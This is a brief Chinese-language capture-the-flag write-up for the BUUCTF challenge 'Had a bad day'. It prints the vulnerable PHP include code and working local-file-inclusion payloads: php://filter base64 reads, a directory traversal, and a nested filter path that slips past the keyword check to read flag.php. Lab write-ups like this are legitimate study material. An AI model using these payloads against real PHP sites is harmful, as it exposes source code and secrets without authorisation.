BUUCTF-[BSidesCF 2020]Had a bad day（文件包含）

打開靶機，有2個按鈕

點擊按鈕，url會發生變化

嘗試利用php://filter偽協議獲取index.php源碼

php://filter/read=convert.base64-encode/resource=index.php

報錯，去掉后綴
進行base64 decode，得到index.php：

<?php
	$file = $_GET['category'];
	if(isset($file)){
		if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index"))
		{
			include ($file . '.php');
		}
		else{
			echo "Sorry, we currently only support woofers and meowers.";
		}
	}
?>

直接讀flag.php，?category=woofers/../flag，頁面沒啥變化，F12
發現源碼中有多出東西，說明flag.php確實是成功包含了



！！！php://filter偽協議嵌套，套一層要求的$file
php://filter/read=convert.base64-encode/woofers/resource=flag